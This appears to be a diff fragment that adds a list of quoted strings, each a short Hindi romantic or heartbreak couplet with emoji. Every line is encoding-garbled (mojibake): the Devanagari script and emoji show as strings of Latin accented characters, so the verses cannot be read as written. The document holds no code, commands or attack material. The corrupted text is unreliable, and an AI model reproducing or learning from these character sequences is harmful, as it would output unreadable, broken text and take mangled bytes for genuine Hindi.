+ " **à€®à¥à€ à€€à¥ à€€à¥à€°à¥ à€žà€Ÿà€¥ à€à¥à€šà€Ÿ à€à€Ÿà€¹à€€à€Ÿ à€¹à¥à€ð«ð«** ",
+ " **à€µà€Ÿà€ªà€ž à€²à¥à€ à€à€¯à€Ÿ à€¹à¥ à€¹à€µà€Ÿà€à€ à€à€Ÿ à€°à¥à€ à€®à¥à¥à€šà¥ à€µà€Ÿà€²à€Ÿð£ð£** ",
+ " **à€Šà€¿à€² à€®à¥à€ à€«à€¿à€° à€à€€à€° à€°à€¹à€Ÿ à€¹à¥ à€Šà€¿à€² à€€à¥à¥à€šà¥ à€µà€Ÿà€²à€Ÿð¥ºð¥º** ",
+ " **à€
à€ªà€šà¥à€ à€à¥ à€¬à¥à€ à€¬à¥à€à€Ÿà€šà¥ à€¹à¥ à€à€ à€¹à¥à€ð¥°ð¥°** ",
+ " **à€ªà¥à€¯à€Ÿà€° à€à¥ à€²à€®à¥à€¹à¥ à€
à€šà€à€Ÿà€šà¥ à€¹à¥ à€à€ à€¹à¥à€ðð** ",
+ " **à€à€¹à€Ÿà€ à€ªà€° à€«à¥à€² à€à€¿à€²à€€à¥ à€¥à¥ à€à€à¥ðð** ",
+ " **à€à€ à€µà€¹à€Ÿà€ à€ªà€° à€µà¥à€°à€Ÿà€š à€¹à¥ à€à€ à€¹à¥à€ð¥°ð¥°** ",
+ " **à€à¥ à€¶à€à¥à€ž à€€à¥à€°à¥ à€€à€žà€µà¥à€µà¥à€° à€žà¥ à€¹à¥ à€®à€¹à€ à€à€Ÿà€¯à¥ðð** ",
+ " **à€žà¥à€à¥ à€€à¥à€®à¥à€¹à€Ÿà€°à¥ à€Šà¥à€Šà€Ÿà€° à€®à¥à€ à€à€žà€à€Ÿ à€à¥à€¯à€Ÿ à€¹à¥à€à€Ÿðð** ",
+ " **à€®à¥à€¹à€¬à¥à€¬à€€ à€à€Ÿ à€à€¹à€žà€Ÿà€ž à€€à¥ à€¹à€® à€Šà¥à€šà¥à€ à€à¥ à€¹à¥à€ à€¥à€Ÿ** ",
+ " **à€«à€°à¥à€ à€žà€¿à€°à¥à€« à€à€€à€šà€Ÿ à€¥à€Ÿ à€à¥ à€à€žà€šà¥ à€à€¿à€¯à€Ÿ à€¥à€Ÿ à€à€° à€®à¥à€à¥ à€¹à¥à€ à€¥à€Ÿ** ",
+ " **à€žà€Ÿà€à€žà¥à€ à€à¥ à€¡à¥à€° à€à¥à€à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥** ",
+ " **à€à€¿à€žà¥à€®à€€ à€à¥ à€¹à€®à¥ à€Šà€°à¥à€Š à€Šà¥à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥** ",
+ " **à€®à¥à€€ à€à¥ à€€à€°à€« à€¹à¥à€ à€à€Šà€® à€¹à€®à€Ÿà€°à¥** ",
+ " **à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥ à€¹à€® à€žà¥ à€à¥à€à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥** ",
+ " **à€žà€®à€à€€à€Ÿ à€¹à¥ à€šà€¹à¥à€ à€µà¥ à€®à¥à€°à¥ à€
à€²à¥à€Ÿà¥ à€à¥ à€à€¹à€°à€Ÿà€** ",
+ " **à€®à¥à€à€šà¥ à€¹à€° à€²à€«à¥à¥ à€à€¹ à€Šà€¿à€¯à€Ÿ à€à€¿à€žà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à€¹à€€à¥ à€¹à¥** ",
+ " **à€žà€®à€à€Šà€° à€š à€žà€¹à¥ à€ªà€° à€à€ à€šà€Šà¥ à€€à¥ à€¹à¥à€šà¥ à€à€Ÿà€¹à€¿à€** ",
+ " **à€€à¥à€°à¥ à€¶à€¹à€° à€®à¥à€ à¥à€¿à€šà¥à€Šà€à¥ à€à€¹à¥ à€€à¥ à€¹à¥à€šà¥ à€à€Ÿà€¹à€¿à€** ",
+ " **à€šà¥à€°à¥à€ à€žà¥ à€Šà¥à€à¥ à€€à¥à€¹ à€à€¬à€Ÿà€Š à€¹à€® à€¹à¥à€** ",
+ " **à€Šà€¿à€² à€žà¥ à€Šà¥à€à¥ à€€à¥à€¹ à€¬à€°à¥à€¬à€Ÿà€Š à€¹à€® à€¹à¥à€** ",
+ " **à€à¥à€µà€š à€à€Ÿ à€¹à€° à€²à€®à¥à€¹à€Ÿ à€Šà€°à¥à€Š à€žà¥ à€à€° à€à€¯à€Ÿ** ",
+ " **à€«à€¿à€° à€à¥à€žà¥ à€à€¹ à€Šà¥à€ à€à¥à€Ÿà€Š à€¹à€® à€¹à¥à€** ",
+ " **à€®à¥à€à¥ à€šà€¹à¥à€ à€®à€Ÿà€²à¥à€® à€µà¥ à€ªà€¹à€²à¥ à€¬à€Ÿà€° à€à€¬ à€
à€à¥à€à€Ÿ à€²à€à€Ÿ** ",
+ " **à€®à€à€° à€à€žà€à¥ à€¬à€Ÿà€Š à€à€à¥ à€¬à¥à€°à€Ÿ à€à¥ à€šà€¹à¥à€** ",
+ " **à€žà€à¥à€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à€à¥ à€à€€à¥à€® à€šà€¹à¥à€ à€¹à¥à€€à¥** ",
+ " **à€µà¥à¥à€€ à€à¥ à€žà€Ÿà€¥ à€à€Ÿà€®à¥à€¶ à€¹à¥ à€à€Ÿà€€à¥ à€¹à¥** ",
+ " **à¥à€¿à€šà¥à€Šà€à¥ à€à¥ à€žà¥à€° à€®à¥à€ à€à€ªà€à€Ÿ à€žà€¹à€Ÿà€°à€Ÿ à€à€Ÿà€¹à€¿à€** ",
+ " **à€à€ªà€à¥ à€à€°à€£à¥à€ à€à€Ÿ à€¬à€ž à€à€žà€°à€Ÿ à€à€Ÿà€¹à€¿à€** ",
+ " **à€¹à€° à€®à¥à€¶à¥à€à€¿à€²à¥à€ à€à€Ÿ à€¹à€à€žà€€à¥ à€¹à¥à€ à€žà€Ÿà€®à€šà€Ÿ à€à€°à¥à€à€à¥** ",
+ " **à€¬à€ž à€ à€Ÿà€à¥à€° à€à¥ à€à€ªà€à€Ÿ à€à€ à€à€¶à€Ÿà€°à€Ÿ à€à€Ÿà€¹à€¿à€** ",
+ " **à€à€¿à€ž à€Šà€¿à€² à€®à¥à€ à€¬à€žà€Ÿ à€¥à€Ÿ à€šà€Ÿà€® à€€à¥à€°à€Ÿ à€¹à€®à€šà¥ à€µà¥ à€€à¥à¥ à€Šà€¿à€¯à€Ÿ** ",
+ " **à€š à€¹à¥à€šà¥ à€Šà€¿à€¯à€Ÿ à€€à¥à€à¥ à€¬à€Šà€šà€Ÿà€® à€¬à€ž à€€à¥à€°à¥ à€šà€Ÿà€® à€²à¥à€šà€Ÿ à€à¥à¥ à€Šà€¿à€¯à€Ÿ** ",
+ " **à€ªà¥à€¯à€Ÿà€° à€µà¥ à€šà€¹à¥à€ à€à¥ à€¹à€Ÿà€žà€¿à€² à€à€°à€šà¥ à€à¥ à€²à€¿à€ à€à¥à€ à€à¥ à€à€°à€µ à€Šà¥** ",
+ " **à€ªà¥à€¯à€Ÿà€° à€µà¥ à€¹à¥ à€à¥ à€à€žà€à¥ à€à¥à€¶à¥ à€à¥ à€²à€¿à€ à€
à€ªà€šà¥ à€
à€°à€®à€Ÿà€š à€à¥à€° à€Šà¥** ",
+ " **à€à€¶à€¿à€ à€à¥ à€šà€Ÿà€® à€žà¥ à€žà€à¥ à€à€Ÿà€šà€€à¥ à€¹à¥à€ðð** ",
+ " **à€à€€à€šà€Ÿ à€¬à€Šà€šà€Ÿà€® à€¹à¥ à€à€ à€¹à€® à€®à€¯à€à€Ÿà€šà¥ à€®à¥à€ð¥°ð¥°** ",
+ " **à€à€¬ à€à¥ à€€à¥à€°à¥ à€¯à€Ÿà€Š à€à€€à¥ à€¹à¥ à€¬à¥à€Šà€°à¥à€Š à€®à¥à€à¥ðð** ",
+ " **à€€à¥à€¹ à€ªà¥à€€à¥ à€¹à¥à€ à€¹à€® à€Šà€°à¥à€Š à€ªà¥à€®à€Ÿà€šà¥ à€®à¥à€ð¥°ð¥°** ",
+ " **à€¹à€® à€à€¶à¥à¥ à€à¥ à€µà¥ à€®à¥à€à€Ÿà€® à€ªà€° à€à¥à¥ à€¹à¥ðð** ",
+ " **à€à€¹à€Ÿà€ à€Šà€¿à€² à€à€¿à€žà¥ à€à€° à€à¥ à€à€Ÿà€¹à¥ à€€à¥ à€à¥à€šà¥à€¹à€Ÿ à€²à€à€€à€Ÿ à€¹à¥ðð** ",
+ " **à€žà€à¥à€à¥ à€ªà¥à€¯à€Ÿà€° à€µà€Ÿà€²à¥à€ à€à¥ à€¹à€®à¥à€¶à€Ÿ à€²à¥à€ à€à€²à€€ à€¹à¥ à€žà€®à€à€€à¥ à€¹à¥ðð** ",
+ " **à€à€¬à€à€¿ à€à€Ÿà€à€® à€ªà€Ÿà€ž à€µà€Ÿà€²à¥ à€žà¥ à€²à¥à€ à€à¥à€¶ à€°à€¹à€€à¥ à€¹à¥ à€à€ à€à€²ðð** ",
+ " **à€à€¿à€²à€Ÿà€ž à€ªà€° à€à€¿à€²à€Ÿà€ž à€¬à€¹à¥à€€ à€à¥à€ à€°à€¹à¥ à€¹à¥à€ðð** ",
+ " **à€à¥à€žà¥ à€à¥ à€ªà¥à€¯à€Ÿà€²à¥ à€Šà€°à¥à€Š à€žà¥ à€à€° à€°à€¹à¥ à€¹à¥à€ð€šð€š** ",
+ " **à€®à€¶à€Ÿà€²à¥à€ à€à¥ à€€à€°à€¹ à€Šà€¿à€² à€à€² à€°à€¹à¥ à€¹à¥à€ð€ð€** ",
+ " **à€à¥à€žà¥ à¥à€¿à€šà¥à€Šà€à¥ à€®à¥à€ à€¬à€Šà€à€¿à€žà¥à€®à€€à¥ à€žà¥ à€®à€¿à€² à€°à€¹à¥ à€¹à¥à€ðð** ",
+ " **à€žà€¿à€°à¥à€« à€µà¥à¥à€€ à€à¥à€à€°à€šà€Ÿ à€¹à¥ à€€à¥ à€à€¿à€žà¥ à€à€° à€à¥ à€
à€ªà€šà€Ÿ à€¬à€šà€Ÿ à€²à¥à€šà€Ÿð€«ð€«** ",
+ " **à€¹à€® à€Šà¥à€žà¥à€€à¥ à€à¥ à€à€°à€€à¥ à€¹à¥ à€€à¥ à€ªà¥à€¯à€Ÿà€° à€à¥ à€€à€°à€¹ðð** ",
+ " **à€à€°à¥à€°à¥ à€šà€¹à¥à€ à€à€¶à¥à¥ à€®à¥à€ à€¬à€šà€¹à¥à€ à€à¥ à€žà€¹à€Ÿà€°à¥ à€¹à¥ à€®à€¿à€²à¥ðð** ",
+ " **à€à€¿à€žà¥ à€à¥ à€à¥ à€à€° à€à¥ à€®à€¹à€žà¥à€ž à€à€°à€šà€Ÿ à€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€¹à¥ðð** ",
+ " **à€šà€¶à¥ à€®à¥à€ à€à¥ à€€à¥à€°à€Ÿ à€šà€Ÿà€® à€²à€¬ à€ªà€° à€à€€à€Ÿ à€¹à¥ðð** ",
+ " **à€à€²à€€à¥ à€¹à¥à€ à€®à¥à€°à¥ à€ªà€Ÿà€à€µ à€²à¥à€à¥à€Ÿà€€à¥ à€¹à¥à€ðð** ",
+ " **à€Šà€°à¥à€Š à€žà€Ÿ à€Šà€¿à€² à€®à¥à€ à€à€ à€€à€Ÿ à€¹à¥ à€®à¥à€°à¥ðð** ",
+ " **à€¹à€žà¥à€ à€à¥à€¹à€°à¥ à€ªà€° à€à¥ à€Šà€Ÿà€ à€šà€à€° à€à€€à€Ÿ à€¹à¥ðð** ",
+ " **à€¹à€®à€šà¥ à€à¥ à€à€ à€à€žà¥ à€¶à€à¥à€ž à€à¥ à€à€Ÿà€¹à€Ÿðð** ",
+ " **à€à€¿à€žà€à¥ à€à¥à€²à€Ÿ à€š à€žà€à¥ à€à€° à€µà¥ à€à€¿à€žà¥à€®à€€ à€®à¥à€ à€à¥ à€šà€¹à¥à€ðð** ",
+ " **à€žà€à¥à€à€Ÿ à€ªà¥à€¯à€Ÿà€° à€à€¿à€žà¥ à€à¥à€€ à€à¥ à€€à€°à€¹ à€¹à¥à€€à€Ÿ à€¹à¥ð¥°ð¥°** ",
+ " **à€¬à€Ÿà€€à¥à€ à€€à¥ à€žà€¬ à€à€°à€€à¥ à€¹à¥ à€Šà¥à€à€Ÿ à€à€¿à€žà¥ à€šà¥ à€šà€¹à¥à€ðð** ",
+ " **à€®à€€ à€ªà¥à€ à€¯à¥ à€à¥ à€®à¥à€ à€€à¥à€à¥ à€à¥à€²à€Ÿ à€šà€¹à¥à€ à€žà€à€€à€Ÿðð** ",
+ " **à€€à¥à€°à¥ à€¯à€Ÿà€Šà¥à€ à€à¥ à€ªà€šà¥à€šà¥ à€à¥ à€®à¥à€ à€à€²à€Ÿ à€šà€¹à¥à€ à€žà€à€€à€Ÿðð** ",
+ " **à€žà€à€à€°à¥à€· à€¯à€¹ à€¹à¥ à€à€¿ à€à¥à€Š à€à¥ à€®à€Ÿà€°à€šà€Ÿ à€¹à¥à€à€Ÿð¥°ð¥°** ",
+ " **à€à€° à€
à€ªà€šà¥ à€žà¥à€à¥à€š à€à¥ à€à€Ÿà€€à€¿à€° à€€à¥à€à¥ à€°à¥à€²à€Ÿ à€šà€¹à¥à€ à€žà€à€€à€Ÿðð** ",
+ " **à€Šà¥à€šà€¿à€¯à€Ÿ à€à¥ à€à€ à€²à€à€Ÿà€šà¥ à€à¥ à¥à€°à¥à€°à€€ à€šà€¹à¥à€ðð** ",
+ " **à€šà€Ÿà€²à¥ à€Šà¥à€šà€¿à€¯à€Ÿ à€ªà¥à€°à¥ à€à¥à€®à€Ÿà€µà€Ÿðð** ",
+ " **à€€à¥ à€®à¥à€°à¥ à€žà€Ÿà€¥ à€à€žà€² à€à€ à€à¥à€Š à€²à€ à€à€Ÿà€à€à¥ðð** ",
+ " **à€€à€°à€ž à€à€¯à¥ à€¹à¥ à€¹à€® à€€à¥à€°à¥ à€®à¥à€à€¹ à€žà¥ à€à¥à€ à€žà¥à€šà€šà¥ à€à¥ à€¹à€®ðð** ",
+ " **à€ªà¥à€¯à€Ÿà€° à€à¥ à€¬à€Ÿà€€ à€š à€žà€¹à¥ à€à¥à€ à€¶à€¿à€à€Ÿà€¯à€€ à€¹à¥ à€à€° à€Šà¥ ðð** ",
+ " **à€€à¥à€® à€šà€¹à¥à€ à€¹à¥ à€ªà€Ÿà€ž à€®à€à€° à€€à€šà¥à€¹à€Ÿà€ à€°à€Ÿà€€ à€µà€¹à¥ à€¹à¥ â€ïžâ€ïž** ",
+ " **à€µà€¹à¥ à€¹à¥ à€à€Ÿà€¹à€€ à€¯à€Ÿà€Šà¥à€ à€à¥ à€¬à€°à€žà€Ÿà€€ à€µà€¹à¥ à€¹à¥ðð** ",
+ " **à€¹à€° à€à¥à€¶à¥ à€à¥ à€Šà¥à€° à€¹à¥ à€®à¥à€°à¥ à€à€¶à€¿à€¯à€Ÿà€šà¥ à€žà¥ â€ïžâ€ïž** ",
+ " **à€à€Ÿà€®à¥à€¶ à€²à€®à¥à€¹à¥à€ à€®à¥à€ à€Šà€°à¥à€Š-à€-à€¹à€Ÿà€²à€Ÿà€€ à€µà€¹à¥ à€¹à¥ð«ð«** ",
+ " **à€à€°à€šà¥ à€²à€à¥ à€à€¬ à€¶à€¿à€à€µà€Ÿ à€à€žà€žà¥ à€à€žà€à¥ à€¬à¥à€µà€«à€Ÿà€ à€à€Ÿðð** ",
+ " **à€°à€ à€à€° à€¹à¥à€à€ à€à¥ à€¹à¥à€à€ à€žà¥ à€à€Ÿà€®à¥à€¶ à€à€° à€Šà€¿à€¯à€Ÿðð** ",
+ " **à€°à€Ÿà€¹ à€®à¥à€ à€®à€¿à€²à¥ à€¥à¥ à€¹à€®, à€°à€Ÿà€¹à¥à€ à€šà€žà¥à€¬ à€¬à€š à€à€à€ðð** ",
+ " **à€šà€Ÿ à€€à¥ à€
à€ªà€šà¥ à€à€° à€à€¯à€Ÿ, à€šà€Ÿ à€¹à€® à€
à€ªà€šà¥ à€à€° à€à€¯à¥ðð** ",
+ " **à€€à¥à€®à¥à€¹à¥à€ à€šà¥à€à€Š à€šà€¹à¥à€ à€à€€à¥ à€€à¥ à€à¥à€ à€à€° à€µà€à€¹ à€¹à¥à€à¥ð
ð
** ",
+ " **à€
à€¬ à€¹à€° à€à€¬ à€à¥ à€²à€¿à€ à€à€žà¥à€°à€µà€Ÿà€° à€à€¶à¥à€ à€€à¥ à€šà€¹à¥à€ðð** ",
+ " **à€
à€šà€Ÿ à€à€¹à€€à¥ à€¹à¥ à€à€²à¥à€€à¥à€à€Ÿ à€à¥à€¯à€Ÿ à€à€°à€šà¥ðð** ",
+ " **à€µà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€¹à¥ à€à¥à€¯à€Ÿ à€à¥ à€®à€¿à€šà¥à€šà€€à¥à€ à€žà¥ à€®à€¿à€²à¥ðð** ",
+ " **à€š à€à€Ÿà€¹à€¿à€° à€¹à¥à€ à€€à¥à€®à€žà¥ à€à€° à€š à€¹à¥ à€¬à€¯à€Ÿà€š à€¹à¥à€ à€¹à€®à€žà¥ðð** ",
+ " **à€¬à€ž à€žà¥à€²à€à¥ à€¹à¥à€ à€à€à€à¥ à€®à¥à€ à€à€²à€à¥ à€°à€¹à¥ à€®à¥à€¹à€¬à¥à€¬à€€ð¥ºð¥º** ",
+ " **à€à¥à€«à¥à€€à€à¥ à€¬à€à€Š à€š à€¹à¥ à€¬à€Ÿà€€ à€žà¥ à€¬à€Ÿà€€ à€à€²à¥ð¥µð¥µ** ",
+ " **à€šà€à€°à¥à€ à€®à¥à€ à€°à€¹à¥ à€à¥à€Š à€Šà€¿à€² à€žà¥ à€Šà€¿à€² à€®à€¿à€²à¥ðð** ",
+ " **à€¹à¥ à€à€¶à¥à¥ à€à¥ à€®à€à¥à€¿à€² à€®à¥à€ à€¹à€Ÿà€² à€à€¿ à€à¥à€žà¥ðð** ",
+ " **à€²à¥à€ à€à€Ÿà€ à€à€¹à¥à€ à€°à€Ÿà€¹ à€®à¥à€ à€žà€Ÿà€®à€Ÿà€š à€à€¿à€žà¥ à€à€Ÿð¥°** ",
+ " **à€®à¥à€à€®à¥à€®à€² à€šà€Ÿ à€žà€¹à¥ à€
à€§à¥à€°à€Ÿ à€¹à¥ à€°à€¹à€šà¥ à€Šà¥ðð** ",
+ " **à€¯à¥ à€à€¶à¥à¥ à€¹à¥ à€à¥à€ à€®à¥à€žà€Š à€€à¥ à€šà€¹à¥à€ à€¹à¥ð€©ð€©** ",
+ " **à€µà€à€¹ à€šà€«à€°à€€à¥à€ à€à¥ à€€à€²à€Ÿà€¶à¥ à€à€Ÿà€€à¥ à€¹à¥ðð** ",
+ " **à€®à¥à€¹à€¬à¥à€¬à€€ à€€à¥ à€¬à€¿à€š à€µà€à€¹ à€¹à¥ à€¹à¥ à€à€Ÿà€€à¥ à€¹à¥ ðð** ",
+ " **à€žà€¿à€°à¥à€« à€®à€°à¥ à€¹à¥à€ à€®à€à€²à¥ à€à¥ à€¹à¥ à€ªà€Ÿà€šà¥ à€à€Ÿ à€¬à€¹à€Ÿà€µ à€à€²à€Ÿà€€à¥ à€¹à¥ ðð** ",
+ " **à€à€¿à€ž à€®à€à€²à¥ à€®à¥à€ à€à€Ÿà€š à€¹à¥à€€à¥ à€¹à¥ à€µà¥ à€
à€ªà€šà€Ÿ à€°à€Ÿà€žà¥à€€à€Ÿ à€à¥à€Š à€€à€¯ à€à€°à€€à¥ à€¹à¥** ",
+ " **à€à€Ÿà€®à€¯à€Ÿà€¬ à€²à¥à€à¥à€ à€à¥ à€à¥à€¹à€°à¥à€ à€ªà€° à€Šà¥ à€à¥à€à¥à€ à€¹à¥à€€à¥ à€¹à¥ ðð** ",
+ " **à€à€ à€žà€Ÿà€à€²à¥à€à€ž à€à€° à€Šà¥à€žà€°à€Ÿ à€žà¥à€®à€Ÿà€à€²ð€ð€** ",
+ " **à€®à¥à€°à¥ à€à€Ÿà€¹à€€ à€Šà¥à€à€šà¥ à€¹à¥ à€€à¥ à€®à¥à€°à¥ à€Šà€¿à€² à€ªà€° à€
à€ªà€šà€Ÿ à€Šà€¿à€² à€°à€à€à€° à€Šà¥à€ðð** ",
+ " **à€€à¥à€°à¥ à€§à¥à€à€š à€šà€Ÿ à€à€¡à¥à€à€Ÿà€¯à¥ à€€à¥ à€®à¥à€°à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€ à¥à€à€°à€Ÿ à€Šà¥à€šà€Ÿð€«ð€«** ",
+ " **à€à€²à€€à€«à€¹à€®à¥ à€à¥ à€à¥à€à€à€Ÿà€à€¶ à€šà€¹à¥à€ à€žà€à¥à€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€®à¥à€ð€ªð€ª** ",
+ " **à€à€¹à€Ÿà€ à€à€¿à€°à€Šà€Ÿà€° à€¹à€²à¥à€à€Ÿ à€¹à¥ à€à€¹à€Ÿà€šà¥ à€¡à¥à€¬ à€à€Ÿà€€à¥ à€¹à¥âºïžâºïž** ",
+ " **à€¹à¥à€šà¥ à€Šà¥ à€®à¥à¥à€Ÿà€€à€¿à€¬ à€®à¥à€à¥ à€à€ à€à€š à€¹à¥à€à€à¥ à€žà¥ à€
à€¬à¥à€¬à€Ÿà€žð€ð€** ",
+ " **à€¬à€Ÿà€€ à€š à€€à¥ à€¯à¥ à€žà€®à€ à€°à€¹à¥ à€¹à¥ à€ªà€° à€à¥à¥à¥à€€à€à¥ à€à€Ÿà€°à¥ à€¹à¥ð¶ð¶** ",
+ " **à€à€Šà€Ÿà€žà€¿à€¯à€Ÿà€ à€à€¶à¥à¥ à€à¥ à€ªà€¹à€à€Ÿà€š à€¹à¥ð€ð€** ",
+ " **à€®à¥à€žà¥à€à¥à€°à€Ÿ à€Šà€¿à€ à€€à¥ à€à€¶à¥à¥ à€¬à¥à€°à€Ÿ à€®à€Ÿà€š à€à€Ÿà€¯à¥à€à€Ÿðð** ",
+ " **à€à¥à€ à€à€ž à€
à€Šà€Ÿ à€žà¥ à€¹à€Ÿà€² à€žà¥à€šà€Ÿà€šà€Ÿ à€¹à€®à€Ÿà€°à¥ à€Šà€¿à€²ðð** ",
+ " **à€µà¥ à€à¥à€Š à€¹à¥ à€à€¹ à€Šà¥ à€à€¿à€Šà¥ à€à¥à€² à€à€Ÿà€šà€Ÿ à€¬à¥à€°à¥ à€¬à€Ÿà€€ à€¹à¥ð¥²** ",
+ " **à€®à€Ÿà€šà€Ÿ à€à¥ à€à€žà€žà¥ à€¬à€¿à€à€¡à€Œà€à€° à€¹à€® à€à€®à€° à€à€° à€°à¥à€€à¥ à€°à€¹à¥ð€ð€** ",
+ " **à€ªà€° à€®à¥à€°à¥ à€®à€Ÿà€° à€à€Ÿà€šà¥ à€à¥ à€¬à€Ÿà€Š à€à€®à€° à€à€° à€°à¥à€à€à€Ÿ à€µà¥ð
ð
** ",
+ " **à€Šà€¿à€² à€®à¥à€ à€€à¥à€®à¥à€¹à€Ÿà€°à¥ à€
à€ªà€šà¥ à€à€à¥ à€à¥à€° à€à€Ÿà€¯à¥à€à€à¥ðð** ",
+ " **à€à€à€à¥à€ à€®à¥à€ à€à€à€€à¥à€Ÿà€° à€à¥ à€²à€à¥à€° à€à¥à¥ à€à€Ÿà€¯à¥à€à€à¥ðð** ",
+ " **à€à€¿à€žà¥ à€®à€Ÿà€žà¥à€® à€²à€®à¥à€¹à¥ à€®à¥à€ à€à€¿à€žà¥ à€®à€Ÿà€žà¥à€® à€à¥à€¹à€°à¥ à€žà¥ðð** ",
+ " **à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥ à€šà€¹à¥à€ à€à€Ÿà€€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€¹à¥ à€à€Ÿà€€à¥ à€¹à¥ðð** ",
+ " **à€à€°à¥à€¬ à€à€ à€€à¥ à€¶à€Ÿà€¯à€Š à€¹à€® à€žà€®à€ à€²à¥à€à¥ðð** ",
+ " **à€¯à¥ à€Šà¥à€°à€¿à€¯à€Ÿ à€€à¥ à€à¥à€µà€² à€«à€žà€²à¥ à€¬à€¢à€Œà€€à¥ à€¹à¥ð€«ð€«** ",
+ " **à€€à¥à€°à¥ à€à€¶à¥à¥ à€®à¥à€ à€à€ž à€€à€°à€¹ à€®à¥à€ à€šà¥à€²à€Ÿà€® à€¹à¥ à€à€Ÿà€ð€ð€** ",
+ " **à€à€à€°à¥ à€¹à¥ à€®à¥à€°à¥ à€¬à¥à€²à¥ à€à€° à€®à¥à€ à€€à¥à€°à¥ à€šà€Ÿà€® à€¹à¥ à€à€Ÿà€ðð** ",
+ " **à€à€ª à€à€¬ à€€à€ à€°à€¹à¥à€à€à¥ à€à€à€à¥à€ à€®à¥à€ à€šà€à€Ÿà€°à€Ÿ à€¬à€šà€à€°ðð** ",
+ " **à€°à¥à€ à€à€à€à€à¥ à€®à¥à€°à¥ à€Šà¥à€šà€¿à€¯à€Ÿ à€®à¥à€ à€à€à€Ÿà€²à€Ÿ à€¬à€šà€à€°ð
ð
** ",
+ " **à€à€žà¥ à€à€¬ à€žà¥ à€¬à¥à€µà€«à€Ÿà€ à€à¥ à€¹à¥ à€®à¥à€ à€ªà¥à€¯à€Ÿà€° à€à¥ à€°à€Ÿà€¹ à€®à¥à€ à€à€² à€šà€Ÿ à€žà€à€Ÿð
ð
** ",
+ " **à€à€žà¥ à€€à¥ à€à€¿à€žà¥ à€à€° à€à€Ÿ à€¹à€Ÿà€¥ à€¥à€Ÿà€® à€²à€¿à€¯à€Ÿà€¬à€ž à€«à€¿à€° à€à€à¥ à€žà€®à¥à€à€² à€šà€¹à¥à€ à€žà€à€Ÿð
ð
** ",
+ " **à€à€ à€¹à¥ à¥à¥à€µà€Ÿà€¬ à€Šà¥à€à€Ÿ à€¹à¥ à€à€ à€¬à€Ÿà€° à€®à¥à€à€šà¥ð€¬ð€¬** ",
+ " **à€€à¥à€°à¥ à€¶à€Ÿà€Šà¥ à€®à¥à€ à€à€²à€à¥ à€¹à¥ à€à€Ÿà€¹à€¿à€ à€®à¥à€°à¥ à€à€° à€à¥ðð** ",
+ " **à€€à¥à€®à¥à€¹à¥ à€®à¥à€°à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥ à€à€žà€® à€žà€ à€¬à€€à€Ÿà€šà€Ÿðð** ",
+ " **à€à€²à¥ à€®à¥à€ à€¡à€Ÿà€² à€à€° à€¬à€Ÿà€¹à¥à€ à€à€¿à€žà€žà¥ à€žà¥à€à€Ÿà€¯à€Ÿ à€¹à¥ðð** ",
+ " **à€šà€¹à¥à€ à€ªà€€à€Ÿ à€à¥ à€µà¥ à€à€à¥ à€®à¥à€°à¥ à€¥à¥ à€à¥ à€¯à€Ÿ à€šà€¹à¥à€ðð** ",
+ " **à€®à¥à€à¥ à€¯à¥ à€ªà€€à€Ÿ à€¹à¥ à€¬à€ž à€à¥ à€®à€Ÿà€ à€€à¥ à€¥à€Ÿ à€à€®à€° à€¬à€ž à€à€žà¥ à€à€Ÿ à€°à€¹à€Ÿðð** ",
+ " **à€€à¥à€®à€šà¥ à€Šà¥à€à€Ÿ à€à€à¥ à€à€Ÿà€à€Š à€žà¥ à€ªà€Ÿà€šà¥ à€à€¿à€°à€€à¥ à€¹à¥à€ðð** ",
+ " **à€®à¥à€à€šà¥ à€Šà¥à€à€Ÿ à€¯à¥ à€®à€à¥à€° à€€à¥ à€®à¥à€ à€à¥à€¹à€°à€Ÿ à€§à¥à€€à¥ à€¹à¥à€ðð** ",
+ " **à€ à¥à€à€°à€Ÿ à€Šà¥ à€à¥à€ à€à€Ÿà€¹à€€ à€à¥ à€€à¥ à€¹à€ž à€à¥ à€žà€¹ à€²à¥à€šà€Ÿðð** ",
+ " **à€ªà¥à€¯à€Ÿà€° à€à¥ à€€à€¬à€¿à€¯à€€ à€®à¥à€ à¥à€¬à€° à€à€žà¥à€€à¥ à€šà€¹à¥à€ à€¹à¥à€€à¥ðð** ",
+ " **à€€à¥à€°à€Ÿ à€ªà€€à€Ÿ à€šà€¹à¥à€ à€ªà€° à€®à¥à€°à€Ÿ à€Šà€¿à€² à€à€à¥ à€€à¥à€¯à€Ÿà€° à€šà€¹à¥à€ à€¹à¥à€à€Ÿðð** ",
+ " **à€®à¥à€à¥ à€€à¥à€°à¥ à€
à€²à€Ÿà€µà€Ÿ à€à€à¥ à€à€¿à€žà¥ à€à€° à€žà¥ à€ªà¥à€¯à€Ÿà€° à€šà€¹à¥à€ à€¹à¥à€à€Ÿðð** ",
+ " **à€Šà€¿à€² à€®à¥à€ à€à€¹à€ à€žà¥ à€¹à¥à€ à€°à¥à€¹ à€®à¥à€ à€Šà€žà¥à€€à€ à€à¥à€à€à¥ð€«ð€«** ",
+ " **à€à€¿à€ž à€à¥ à€à¥à€¶à€¬à¥ à€¯à¥ à€®à¥à€à¥ à€®à¥à€°à¥ à€žà€¿à€°à€¹à€Ÿà€šà¥ à€à€ðð** ",
+ " **à€à€®à¥à€° à€à€° à€²à€¿à€à€€à¥ à€°à€¹à¥ à€«à€¿à€° à€à¥ à€µà€Ÿà€°à€ à€žà€Šà€Ÿ à€°à€¹à€Ÿðð** ",
+ " **à€à€Ÿà€šà¥ à€à€¿à€¯à€Ÿ à€²à€«à¥à¥ à€¥à¥ à€à¥ à€¹à€® à€²à€¿à€ à€šà€¹à¥à€ à€ªà€Ÿà€¯à¥ðð** ",
+ " **à€²à€à€Ÿ à€à¥ à€«à¥à€² à€¹à€Ÿà€¥à¥à€ à€žà¥ à€à€žà€šà¥ à€à€¹à€Ÿ à€à¥à€ªà€à¥ à€žà¥ð¶ð¶** ",
